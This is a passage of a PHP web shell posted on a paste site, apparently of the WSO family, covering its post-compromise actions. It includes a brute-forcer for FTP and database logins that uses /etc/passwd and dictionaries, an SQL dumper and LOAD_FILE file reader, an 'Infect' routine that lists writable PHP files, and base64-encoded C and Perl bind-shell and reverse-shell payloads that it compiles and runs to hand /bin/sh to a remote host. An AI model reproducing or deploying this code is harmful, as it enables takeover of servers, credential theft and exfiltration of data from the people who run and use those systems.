onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
  1105. if($temp)
  1106. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1107. echo '</div>';
  1108. hardFooter();
  1109. }
  1110. function actionLogout() {
  1111. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1112. die('bye!');
  1113. }
  1114. function actionSelfRemove() {
  1115. if($_POST['p1'] == 'yes')
  1116. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1117. die('Shell has been removed');
  1118. else
  1119. echo 'unlink error!';
  1120. if($_POST['p1'] != 'yes')
  1121. hardHeader();
  1122. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1123. hardFooter();
  1124. }
  1125. function actionInfect() {
  1126. hardHeader();
  1127. echo '<h1>Infect</h1><div class=content>';
  1128. if($_POST['p1'] == 'infect') {
  1129. $target=$_SERVER['DOCUMENT_ROOT'];
  1130. function ListFiles($dir) {
  1131. if($dh = opendir($dir)) {
  1132. $files = Array();
  1133. $inner_files = Array();
  1134. while($file = readdir($dh)) {
  1135. if($file != "." && $file != "..") {
  1136. if(is_dir($dir . "/" . $file)) {
  1137. $inner_files = ListFiles($dir . "/" . $file);
  1138. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  1139. } else {
  1140. array_push($files, $dir . "/" . $file);
  1141. }
  1142. }
  1143. }
  1144. closedir($dh);
  1145. return $files;
  1146. }
  1147. }
  1148. foreach (ListFiles($target) as $key=>$file){
  1149. $nFile = substr($file, -4, 4);
  1150. if($nFile == ".php" ){
  1151. if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
  1152. echo "$file<br>";
  1153. $i++;
  1154. }
  1155. }
  1156. }
  1157. echo "<font color=red size=14>$i</font>";
  1158. }else{
  1159. echo "<form method=post><input type=submit value=Infect name=infet></form>";
  1160. echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
  1161. }
  1162. hardFooter();
  1163. }
  1164. function actionBruteforce() {
  1165. hardHeader();
  1166. if( isset($_POST['proto']) ) {
  1167. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1168. if( $_POST['proto'] == 'ftp' ) {
  1169. function bruteForce($ip,$port,$login,$pass) {
  1170. $fp = @ftp_connect($ip, $port?$port:21);
  1171. if(!$fp) return false;
  1172. $res = @ftp_login($fp, $login, $pass);
  1173. @ftp_close($fp);
  1174. return $res;
  1175. }
  1176. } elseif( $_POST['proto'] == 'mysql' ) {
  1177. function bruteForce($ip,$port,$login,$pass) {
  1178. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1179. @mysql_close($res);
  1180. return $res;
  1181. }
  1182. } elseif( $_POST['proto'] == 'pgsql' ) {
  1183. function bruteForce($ip,$port,$login,$pass) {
  1184. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1185. $res = @pg_connect($str);
  1186. @pg_close($res);
  1187. return $res;
  1188. }
  1189. }
  1190. $success = 0;
  1191. $attempts = 0;
  1192. $server = explode(":", $_POST['server']);
  1193. if($_POST['type'] == 1) {
  1194. $temp = @file('/etc/passwd');
  1195. if( is_array($temp) )
  1196. foreach($temp as $line) {
  1197. $line = explode(":", $line);
  1198. ++$attempts;
  1199. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1200. $success++;
  1201. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1202. }
  1203. if(@$_POST['reverse']) {
  1204. $tmp = "";
  1205. for($i=strlen($line[0])-1; $i>=0; --$i)
  1206. $tmp .= $line[0][$i];
  1207. ++$attempts;
  1208. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1209. $success++;
  1210. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1211. }
  1212. }
  1213. }
  1214. } elseif($_POST['type'] == 2) {
  1215. $temp = @file($_POST['dict']);
  1216. if( is_array($temp) )
  1217. foreach($temp as $line) {
  1218. $line = trim($line);
  1219. ++$attempts;
  1220. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1221. $success++;
  1222. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1223. }
  1224. }
  1225. }
  1226. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1227. }
  1228. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1229. .'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
  1230. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1231. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1232. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1233. .'<input type=hidden name=ne value="">'
  1234. .'<span>Server:port</span></td>'
  1235. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1236. .'<tr><td><span>Brute type</span></td>'
  1237. .'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
  1238. .'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
  1239. .'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
  1240. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1241. .'<td><input type=text name=login value="root"></td></tr>'
  1242. .'<tr><td><span>Dictionary</span></td>'
  1243. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1244. .'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
  1245. echo '</div>';
  1246. hardFooter();
  1247. }
  1248. function actionSql() {
  1249. class DbClass {
  1250. var $type;
  1251. var $link;
  1252. var $res;
  1253. function __construct($type) {
  1254. $this->type = $type;
  1255. }
  1256. function connect($host, $user, $pass, $dbname){
  1257. switch($this->type) {
  1258. case 'mysql':
  1259. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1260. break;
  1261. case 'pgsql':
  1262. $host = explode(':', $host);
  1263. if(!$host[1]) $host[1]=5432;
  1264. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1265. break;
  1266. }
  1267. return false;
  1268. }
  1269. function selectdb($db) {
  1270. switch($this->type) {
  1271. case 'mysql':
  1272. if (@mysql_select_db($db))return true;
  1273. break;
  1274. }
  1275. return false;
  1276. }
  1277. function query($str) {
  1278. switch($this->type) {
  1279. case 'mysql':
  1280. return $this->res = @mysql_query($str);
  1281. break;
  1282. case 'pgsql':
  1283. return $this->res = @pg_query($this->link,$str);
  1284. break;
  1285. }
  1286. return false;
  1287. }
  1288. function fetch() {
  1289. $res = func_num_args()?func_get_arg(0):$this->res;
  1290. switch($this->type) {
  1291. case 'mysql':
  1292. return @mysql_fetch_assoc($res);
  1293. break;
  1294. case 'pgsql':
  1295. return @pg_fetch_assoc($res);
  1296. break;
  1297. }
  1298. return false;
  1299. }
  1300. function listDbs() {
  1301. switch($this->type) {
  1302. case 'mysql':
  1303. return $this->query("SHOW databases");
  1304. break;
  1305. case 'pgsql':
  1306. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1307. break;
  1308. }
  1309. return false;
  1310. }
  1311. function listTables() {
  1312. switch($this->type) {
  1313. case 'mysql':
  1314. return $this->res = $this->query('SHOW TABLES');
  1315. break;
  1316. case 'pgsql':
  1317. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1318. break;
  1319. }
  1320. return false;
  1321. }
  1322. function error() {
  1323. switch($this->type) {
  1324. case 'mysql':
  1325. return @mysql_error();
  1326. break;
  1327. case 'pgsql':
  1328. return @pg_last_error();
  1329. break;
  1330. }
  1331. return false;
  1332. }
  1333. function setCharset($str) {
  1334. switch($this->type) {
  1335. case 'mysql':
  1336. if(function_exists('mysql_set_charset'))
  1337. return @mysql_set_charset($str, $this->link);
  1338. else
  1339. $this->query('SET CHARSET '.$str);
  1340. break;
  1341. case 'pgsql':
  1342. return @pg_set_client_encoding($this->link, $str);
  1343. break;
  1344. }
  1345. return false;
  1346. }
  1347. function loadFile($str) {
  1348. switch($this->type) {
  1349. case 'mysql':
  1350. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1351. break;
  1352. case 'pgsql':
  1353. $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
  1354. $r=array();
  1355. while($i=$this->fetch())
  1356. $r[] = $i['file'];
  1357. $this->query('drop table hard2');
  1358. return array('file'=>implode("\n",$r));
  1359. break;
  1360. }
  1361. return false;
  1362. }
  1363. function dump($table, $fp = false) {
  1364. switch($this->type) {
  1365. case 'mysql':
  1366. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1367. $create = mysql_fetch_array($res);
  1368. $sql = $create[1].";\n";
  1369. if($fp) fwrite($fp, $sql); else echo($sql);
  1370. $this->query('SELECT * FROM `'.$table.'`');
  1371. $i = 0;
  1372. $head = true;
  1373. while($▟ = $this->fetch()) {
  1374. $sql = '';
  1375. if($i % 1000 == 0) {
  1376. $head = true;
  1377. $sql = ";\n\n";
  1378. }
  1379. $columns = array();
  1380. foreach($▟ as $k=>$v) {
  1381. if($v === null)
  1382. $▟[$k] = "NULL";
  1383. elseif(is_int($v))
  1384. $▟[$k] = $v;
  1385. else
  1386. $▟[$k] = "'".@mysql_real_escape_string($v)."'";
  1387. $columns[] = "`".$k."`";
  1388. }
  1389. if($head) {
  1390. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $▟).')';
  1391. $head = false;
  1392. } else
  1393. $sql .= "\n\t,(".implode(", ", $▟).')';
  1394. if($fp) fwrite($fp, $sql); else echo($sql);
  1395. $i++;
  1396. }
  1397. if(!$head)
  1398. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1399. break;
  1400. case 'pgsql':
  1401. $this->query('SELECT * FROM '.$table);
  1402. while($▟ = $this->fetch()) {
  1403. $columns = array();
  1404. foreach($▟ as $k=>$v) {
  1405. $▟[$k] = "'".addslashes($v)."'";
  1406. $columns[] = $k;
  1407. }
  1408. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $▟).');'."\n";
  1409. if($fp) fwrite($fp, $sql); else echo($sql);
  1410. }
  1411. break;
  1412. }
  1413. return false;
  1414. }
  1415. };
  1416. $db = new DbClass($_POST['type']);
  1417. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1418. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1419. $db->selectdb($_POST['sql_base']);
  1420. switch($_POST['charset']) {
  1421. case "Windows-1251": $db->setCharset('cp1251'); break;
  1422. case "UTF-8": $db->setCharset('utf8'); break;
  1423. case "KOI8-R": $db->setCharset('koi8r'); break;
  1424. case "KOI8-U": $db->setCharset('koi8u'); break;
  1425. case "cp866": $db->setCharset('cp866'); break;
  1426. }
  1427. if(empty($_POST['file'])) {
  1428. ob_start("ob_gzhandler", 4096);
  1429. header("Content-Disposition: attachment; filename=dump.sql");
  1430. header("Content-Type: text/plain");
  1431. foreach($_POST['tbl'] as $v)
  1432. $db->dump($v);
  1433. exit;
  1434. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1435. foreach($_POST['tbl'] as $v)
  1436. $db->dump($v, $fp);
  1437. fclose($fp);
  1438. unset($_POST['p2']);
  1439. } else
  1440. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1441. }
  1442. hardHeader();
  1443. echo "
  1444. <h1>Sql browser</h1><div class=content>
  1445. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1446. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1447. <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1448. <td><label><select name='type'><option value='mysql' ";
  1449. if(@$_POST['type']=='mysql')echo 'selected';
  1450. echo ">MySql</option><option value='pgsql' ";
  1451. if(@$_POST['type']=='pgsql')echo 'selected';
  1452. echo ">PostgreSql</option></select></label></td>
  1453. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1454. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1455. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
  1456. $tmp = "<input type=text name=sql_base value=''>";
  1457. if(isset($_POST['sql_host'])){
  1458. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1459. switch($_POST['charset']) {
  1460. case "Windows-1251": $db->setCharset('cp1251'); break;
  1461. case "UTF-8": $db->setCharset('utf8'); break;
  1462. case "KOI8-R": $db->setCharset('koi8r'); break;
  1463. case "KOI8-U": $db->setCharset('koi8u'); break;
  1464. case "cp866": $db->setCharset('cp866'); break;
  1465. }
  1466. $db->listDbs();
  1467. echo "<label><select name=sql_base><option value=''></option>";
  1468. while($▟ = $db->fetch()) {
  1469. list($key, $value) = each($▟);
  1470. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1471. }
  1472. echo '</select></label>';
  1473. }
  1474. else echo $tmp;
  1475. }else
  1476. echo $tmp;
  1477. echo "</td>
  1478. <td><input type=submit value='submit' onclick='fs(d.sf);'></td>
  1479. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1480. </tr>
  1481. </table>
  1482. <script>
  1483. s_db='".@addslashes($_POST['sql_base'])."';
  1484. function fs(f) {
  1485. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1486. if(f.p1) f.p1.value='';
  1487. if(f.p2) f.p2.value='';
  1488. if(f.p3) f.p3.value='';
  1489. }
  1490. }
  1491. function st(t,l) {
  1492. d.sf.p1.value = 'select';
  1493. d.sf.p2.value = t;
  1494. if(l && d.sf.p3) d.sf.p3.value = l;
  1495. d.sf.submit();
  1496. }
  1497. function is() {
  1498. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1499. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1500. }
  1501. </script>";
  1502. if(isset($db) && $db->link){
  1503. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1504. if(!empty($_POST['sql_base'])){
  1505. $db->selectdb($_POST['sql_base']);
  1506. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1507. $tbls_res = $db->listTables();
  1508. while($▟ = $db->fetch($tbls_res)) {
  1509. list($key, $value) = each($▟);
  1510. if(!empty($_POST['sql_count']))
  1511. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1512. $value = htmlspecialchars($value);
  1513. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1514. }
  1515. echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1516. if(@$_POST['p1'] == 'select') {
  1517. $_POST['p1'] = 'query';
  1518. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1519. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1520. $num = $db->fetch();
  1521. $pages = ceil($num['n'] / 30);
  1522. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1523. echo " of $pages";
  1524. if($_POST['p3'] > 1)
  1525. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1526. if($_POST['p3'] < $pages)
  1527. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1528. $_POST['p3']--;
  1529. if($_POST['type']=='pgsql')
  1530. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1531. else
  1532. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1533. echo "<br><br>";
  1534. }
  1535. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1536. $db->query(@$_POST['p2']);
  1537. if($db->res !== false) {
  1538. $title = false;
  1539. echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
  1540. $line = 1;
  1541. while($▟ = $db->fetch()) {
  1542. if(!$title) {
  1543. echo '<tr>';
  1544. foreach($▟ as $key => $value)
  1545. echo '<th>'.$key.'</th>';
  1546. reset($▟);
  1547. $title=true;
  1548. echo '</tr><tr>';
  1549. $line = 2;
  1550. }
  1551. echo '<tr class="l'.$line.'">';
  1552. $line = $line==1?2:1;
  1553. foreach($▟ as $key => $value) {
  1554. if($value == null)
  1555. echo '<td><i>null</i></td>';
  1556. else
  1557. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1558. }
  1559. echo '</tr>';
  1560. }
  1561. echo '</table>';
  1562. } else {
  1563. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1564. }
  1565. }
  1566. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1567. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1568. echo htmlspecialchars($_POST['p2']);
  1569. echo "</textarea><br/><input type=submit value='Execute'>";
  1570. echo "</td></tr>";
  1571. }
  1572. echo "</table></form><br/>";
  1573. if($_POST['type']=='mysql') {
  1574. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1575. if($db->fetch())
  1576. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
  1577. }
  1578. if(@$_POST['p1'] == 'loadfile') {
  1579. $file = $db->loadFile($_POST['p2']);
  1580. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1581. }
  1582. } else {
  1583. echo htmlspecialchars($db->error());
  1584. }
  1585. echo '</div>';
  1586. hardFooter();
  1587. }
  1588. function actionNetwork() {
  1589. hardHeader();
  1590. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1591. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1592. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1593. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1594. echo "<h1>Network tools</h1><div class=content>
  1595. <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
  1596. <span>Bind port to /bin/sh</span><br/>
  1597. Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
  1598. </form>
  1599. <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
  1600. <span>Back-connect to</span><br/>
  1601. Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
  1602. </form><br>";
  1603. if(isset($_POST['p1'])) {
  1604. function cf($f,$t) {
  1605. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1606. if($w) {
  1607. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1608. @fclose($w);
  1609. }
  1610. }
  1611. if($_POST['p1'] == 'bpc') {
  1612. cf("/tmp/bp.c",$bind_port_c);
  1613. $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
  1614. @unlink("/tmp/bp.c");
  1615. $▖ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1616. echo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";
  1617. }
  1618. if($_POST['p1'] == 'bpp') {
  1619. cf("/tmp/bp.pl",$bind_port_p);
  1620. $▖ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1621. echo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";
  1622. }
  1623. if($_POST['p1'] == 'bcc') {
  1624. cf("/tmp/bc.c",$back_connect_c);
  1625. $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
  1626. @unlink("/tmp/bc.c");
  1627. $▖ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1628. echo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";
  1629. }
  1630. if($_POST['p1'] == 'bcp') {
  1631. cf("/tmp/bc.pl",$back_connect_p);
  1632. $▖ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1633. echo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";
  1634. }
  1635. }
  1636. echo '</div>';
  1637. hardFooter();
  1638. }
  1639. if( empty($_POST['a']) )
  1640. if(isset($▚) && function_exists('action' . $▚))
  1641. $_POST['a'] = $▚;
  1642. else
  1643. $_POST['a'] = 'FilesMan';
  1644. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1645. call_user_func('action' . $_POST['a']);
  1646.  
Add Comment
Please, Sign In to add comment